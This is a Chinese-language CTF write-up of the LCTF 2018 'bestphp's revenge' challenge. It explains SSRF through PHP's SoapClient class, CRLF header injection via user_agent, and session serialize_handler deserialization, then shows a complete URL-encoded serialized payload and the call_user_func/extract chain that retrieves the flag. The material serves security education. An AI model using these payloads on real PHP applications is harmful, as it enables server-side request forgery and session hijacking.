在看内置类时看到一道例题:bestphp's revenge ,感觉这题挺有难度的,考到了我的好多盲区
SoapClient 类进行 SSRF
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
内置类SoapClient 类有个__call 方法,该方法能够发送 HTTP 和 HTTPS 请求。因此SoapClient 类可应用于SSRF中
__call 方法:
public SoapClient::__call(string $name, array $args): mixed
- 第一个参数是用来指明是否是wsdl模式,将该值设为
null 则表示非wsdl 模式。 - 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置
location 和uri 选项,其中location 是要将请求发送到的SOAP服务器的URL ,而uri 是SOAP服务的目标命名空间。
发送请求的简单用法: 1、准备如下代码:
<?php
$a = new SoapClient(null,array('location'=>'http://example.com:2333/aaa','uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
2、服务器开启监听: 3、执行代码,服务器就会接收到请求: 注意: 1、要是发送POST请求,需要设置Content-Type 为Content-Type: application/x-www-form-urlencoded 2、请求头和请求体之间有两个\r\n
一般是利用 SoapClient 类进行 SSRF,再配合CRLF实现插入任意HTTP头
CRLF
CRLF 是”回车+换行”(\r\n) 的简称。 在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这 两个CRLF 来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
简单来说 http请求遇到两个\r\n 即%0d%0a ,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制User-Agent的值时,头部可控,就可以注入CRLF实现修改HTTP请求包。
<?php
$op = array(
'location'=>'http://119.x.x.x:2333/aaa',
'uri'=>'whatever',
'user_agent'=>"DMIND\r\ncookie: PHPSESSID:666\r\n",
);
$a = new SoapClient(null,$op);
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
?>
可见UA头被改成了DMIND,且插入了cookie信息
Session反序列化漏洞
该漏洞是由于session.serialize_handler 的不同导致的,比如说序列化时按照php 的方式,而反序列化读取时却按照php_serialize 方式,这种差异性导致了问题。
php.ini 中含有这几个与session 存储配置相关的配置项:
session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
session.serialize_handler 的三种不同处理方式:
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
如何设置session.serialize_handler ,有两种方式::ini_set() 和接收数组形式的session_start()
1、ini_set('session.serialize_handler','php_serialize');
2、session_start(['serialize_handler'=>'php_serialize']);
测试代码:
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['name'] = 'DMIND';
?>
下面是各种情况下的sess文件保存内容
session.serialize_handler = php:
name|s:5:"DMIND";
session.serialize_handler = php_serialize:
a:1:{s:4:"name";s:5:"DMIND";}
session.serialize_handler = php_binary:
names:5:"DMIND";
题目
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
首先扫描目录会发现flag.php ,要求是本地,也就是要求我们SSRF,且flag是存在session中的
那么在index.php中是看不到什么SSRF入口的,所以猜想使用内置类SoapClient 进行 SSRF。 而我们还得构建一个PHPSESSID=xxx ,使得在得到flag后能以PHPSESSID=xxx 的方式访问得到flag
构造一下:
<?php
$op = array(
'location'=>'http://127.0.0.1/flag.php',
'uri'=>'123',
'user_agent'=>"DMIND\r\nCookie: PHPSESSID=ug2b5h4cq2vn3jn1ud543nfme4\r\n"
);
$a = new SoapClient(null,$op);
echo urlencode(serialize($a));
?>
生成的payload:
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A53%3A%22DMIND%0D%0ACookie%3A+PHPSESSID%3Dug2b5h4cq2vn3jn1ud543nfme4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
只需要将上面的payload成功反序列化执行,我们就能得到flag了,再以PHPSESSID=ug2b5h4cq2vn3jn1ud543nfme4 的方式即可查看flag。
但反序列化入口呢?没有明给啊!
还记得大明湖畔 ,还记得Session反序列化漏洞 中说的session_start() 吗?这段代码中有它,说明要利用Session反序列化 了
通过session_start(['serialize_handler'=>'php_serialize']) 可以设置序列化引擎为serialize_handler ,借助题目中的回调,令回调函数是session_start ,POST传参serialize_handler=php_serialize
call_user_func($_GET['f'], $_POST);
此时我们要在SSRF的payload前加上| ,因为在序列化引擎为php_serialize , 刷新一下,自动反序列化,确实按照默认的php 引擎读取我们刚写的内容,| 后的内容得到了应有的反序列化
但虽然反序列化,SoapClient 类触发SSRF是需调用__call 方法,需要通过下面代码
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
可以利用extract 函数将变量b覆盖为call_user_func ,这样,就成了:
call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));
reset($_SESSION) 对应的是:object(SoapClient)#1 (5) { ["uri"]=> string(3) "123" ["location"]=> string(25) "http://127.0.0.1/flag.php" ["_stream_context"]=> int(0) ["_user_agent"]=> string(53) "DMIND Cookie: PHPSESSID=ug2b5h4cq2vn3jn1ud543nfme4 " ["_soap_version"]=> int(1) }
这里是因为要用到一个特性:
call_user_func() 函数有一个特性,就是当只传入一个数组时,可以用call_user_func() 来调用一个类里面的方法,call_user_func() 会将这个数组中的第一个值当做类名,第二个值当做方法名。
那么这段代码就变成了要调用我们构造的SoapClient类中的welcome_to_the_lctf2018方法,就很巧妙地调用__call 方法了
传参: 最后再按照你设置的cookie来访问
总结
1、内置类SoapClient 是可以进行 SSRF的,但前提需要触发__call 方法,也需要有反序列化的入口 2、看到session_start() 不妨想想能否设置serialize_handler 从而触发SESSION反序列化, 3、call_user_func() 有一个特性,当参数是一个数组是,该数组的第一个值被当做类名,第二个值被当做方法名,以此来调用一个方法
|